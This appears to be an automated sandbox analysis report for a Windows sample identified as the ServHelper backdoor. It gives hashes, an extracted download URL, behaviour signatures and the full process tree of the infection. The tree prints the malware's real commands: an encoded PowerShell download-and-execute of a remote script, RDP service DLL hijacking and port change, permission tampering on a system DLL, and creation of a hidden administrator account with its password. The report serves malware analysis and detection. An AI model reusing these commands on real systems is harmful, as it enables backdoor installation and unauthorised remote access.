Analysis
-
max time kernel
148s -
max time network
123s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
31-01-2022 23:55
Static task
static1
Behavioral task
behavioral1
Sample
979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe
Resource
win10v2004-en-20220112
General
-
Target
979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe
-
Size
4.5MB
-
MD5
e9fae6305a1e589c8b63bb9ce114b2bc
-
SHA1
0f2f0b98ce5a51595a91b6ebb43dfc4f10e94ecb
-
SHA256
979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e
-
SHA512
2b92d944165910640cd8e79278dddbf314f3e6257e8293346905a6f2d658cfc98ef6a5077e3c37acddad7d8bb7e25ee8ec487fbbf25669f926032877ad7a937c
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 1924 powershell.exe 6 1924 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
pid Process 484 icacls.exe 1064 icacls.exe 1500 icacls.exe 1924 icacls.exe 580 icacls.exe 1348 icacls.exe 1584 takeown.exe 2032 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral1/files/0x000a000000013090-103.dat upx behavioral1/files/0x00090000000130ff-104.dat upx -
Loads dropped DLL 2 IoCs
pid Process 744 Process not Found 744 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1584 takeown.exe 2032 icacls.exe 484 icacls.exe 1064 icacls.exe 1500 icacls.exe 1924 icacls.exe 580 icacls.exe 1348 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ES19IK4BTLW0WF92U8J2.temp powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40f8583efe16d801 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1764 reg.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 320 powershell.exe 396 powershell.exe 1164 powershell.exe 2020 powershell.exe 320 powershell.exe 320 powershell.exe 320 powershell.exe 1924 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
pid Process 464 Process not Found 744 Process not Found 744 Process not Found 744 Process not Found 744 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 320 powershell.exe Token: SeDebugPrivilege 396 powershell.exe Token: SeDebugPrivilege 1164 powershell.exe Token: SeDebugPrivilege 2020 powershell.exe Token: SeRestorePrivilege 484 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1736 WMIC.exe Token: SeIncreaseQuotaPrivilege 1736 WMIC.exe Token: SeAuditPrivilege 1736 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1736 WMIC.exe Token: SeIncreaseQuotaPrivilege 1736 WMIC.exe Token: SeAuditPrivilege 1736 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2032 WMIC.exe Token: SeIncreaseQuotaPrivilege 2032 WMIC.exe Token: SeAuditPrivilege 2032 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2032 WMIC.exe Token: SeIncreaseQuotaPrivilege 2032 WMIC.exe Token: SeAuditPrivilege 2032 WMIC.exe Token: SeDebugPrivilege 1924 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1668 wrote to memory of 320 1668 979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe 27 PID 1668 wrote to memory of 320 1668 979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe 27 PID 1668 wrote to memory of 320 1668 979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe 27 PID 320 wrote to memory of 1852 320 powershell.exe 29 PID 320 wrote to memory of 1852 320 powershell.exe 29 PID 320 wrote to memory of 1852 320 powershell.exe 29 PID 1852 wrote to memory of 1280 1852 csc.exe 30 PID 1852 wrote to memory of 1280 1852 csc.exe 30 PID 1852 wrote to memory of 1280 1852 csc.exe 30 PID 320 wrote to memory of 396 320 powershell.exe 31 PID 320 wrote to memory of 396 320 powershell.exe 31 PID 320 wrote to memory of 396 320 powershell.exe 31 PID 320 wrote to memory of 1164 320 powershell.exe 33 PID 320 wrote to memory of 1164 320 powershell.exe 33 PID 320 wrote to memory of 1164 320 powershell.exe 33 PID 320 wrote to memory of 2020 320 powershell.exe 35 PID 320 wrote to memory of 2020 320 powershell.exe 35 PID 320 wrote to memory of 2020 320 powershell.exe 35 PID 320 wrote to memory of 1584 320 powershell.exe 38 PID 320 wrote to memory of 1584 320 powershell.exe 38 PID 320 wrote to memory of 1584 320 powershell.exe 38 PID 320 wrote to memory of 2032 320 powershell.exe 39 PID 320 wrote to memory of 2032 320 powershell.exe 39 PID 320 wrote to memory of 2032 320 powershell.exe 39 PID 320 wrote to memory of 484 320 powershell.exe 40 PID 320 wrote to memory of 484 320 powershell.exe 40 PID 320 wrote to memory of 484 320 powershell.exe 40 PID 320 wrote to memory of 1064 320 powershell.exe 41 PID 320 wrote to memory of 1064 320 powershell.exe 41 PID 320 wrote to memory of 1064 320 powershell.exe 41 PID 320 wrote to memory of 1500 320 powershell.exe 42 PID 320 wrote to memory of 1500 320 powershell.exe 42 PID 320 wrote to memory of 1500 320 powershell.exe 42 PID 320 wrote to memory of 1924 320 powershell.exe 43 PID 320 wrote to memory of 1924 320 powershell.exe 43 PID 320 wrote to memory of 1924 320 powershell.exe 43 PID 320 wrote to memory of 580 320 powershell.exe 44 PID 320 wrote to memory of 580 320 powershell.exe 44 PID 320 wrote to memory of 580 320 powershell.exe 44 PID 320 wrote to memory of 1348 320 powershell.exe 45 PID 320 wrote to memory of 1348 320 powershell.exe 45 PID 320 wrote to memory of 1348 320 powershell.exe 45 PID 320 wrote to memory of 1804 320 powershell.exe 46 PID 320 wrote to memory of 1804 320 powershell.exe 46 PID 320 wrote to memory of 1804 320 powershell.exe 46 PID 320 wrote to memory of 1764 320 powershell.exe 47 PID 320 wrote to memory of 1764 320 powershell.exe 47 PID 320 wrote to memory of 1764 320 powershell.exe 47 PID 320 wrote to memory of 1964 320 powershell.exe 48 PID 320 wrote to memory of 1964 320 powershell.exe 48 PID 320 wrote to memory of 1964 320 powershell.exe 48 PID 320 wrote to memory of 1896 320 powershell.exe 49 PID 320 wrote to memory of 1896 320 powershell.exe 49 PID 320 wrote to memory of 1896 320 powershell.exe 49 PID 1896 wrote to memory of 1192 1896 net.exe 50 PID 1896 wrote to memory of 1192 1896 net.exe 50 PID 1896 wrote to memory of 1192 1896 net.exe 50 PID 320 wrote to memory of 956 320 powershell.exe 51 PID 320 wrote to memory of 956 320 powershell.exe 51 PID 320 wrote to memory of 956 320 powershell.exe 51 PID 956 wrote to memory of 2012 956 cmd.exe 52 PID 956 wrote to memory of 2012 956 cmd.exe 52 PID 956 wrote to memory of 2012 956 cmd.exe 52 PID 2012 wrote to memory of 1256 2012 cmd.exe 53
Processes
-
C:\Users\Admin\AppData\Local\Temp\979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe"C:\Users\Admin\AppData\Local\Temp\979d0a6a47f5f3f282badec05e9e6040d44200b1bbf730efe65f9a48b5d3c34e.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eglhwdaj.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE5D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFE4C.tmp"4⤵PID:1280
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:396
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2020
-
-
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1584
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2032
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:484
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1064
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1500
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1924
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:580
-
-
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1348
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1804
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1764
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1964
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1192
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:956 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1256
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:432
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1656
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:308
-
C:\Windows\system32\net.exenet start TermService5⤵PID:1708
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1960
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1684
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1560
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:1700
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1784
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1736
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc WcrTO2nx /add1⤵PID:1980
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc WcrTO2nx /add2⤵PID:1752
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc WcrTO2nx /add3⤵PID:2000
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:360
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1264
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1696
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD1⤵PID:1536
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD2⤵PID:1632
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" VQVVOAJK$ /ADD3⤵PID:1500
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:1280
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:276
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1956
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc WcrTO2nx1⤵PID:1140
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc WcrTO2nx2⤵PID:1256
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc WcrTO2nx3⤵PID:2012
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:996
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1736
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1752
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2032
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1792
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1796
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1924
-
-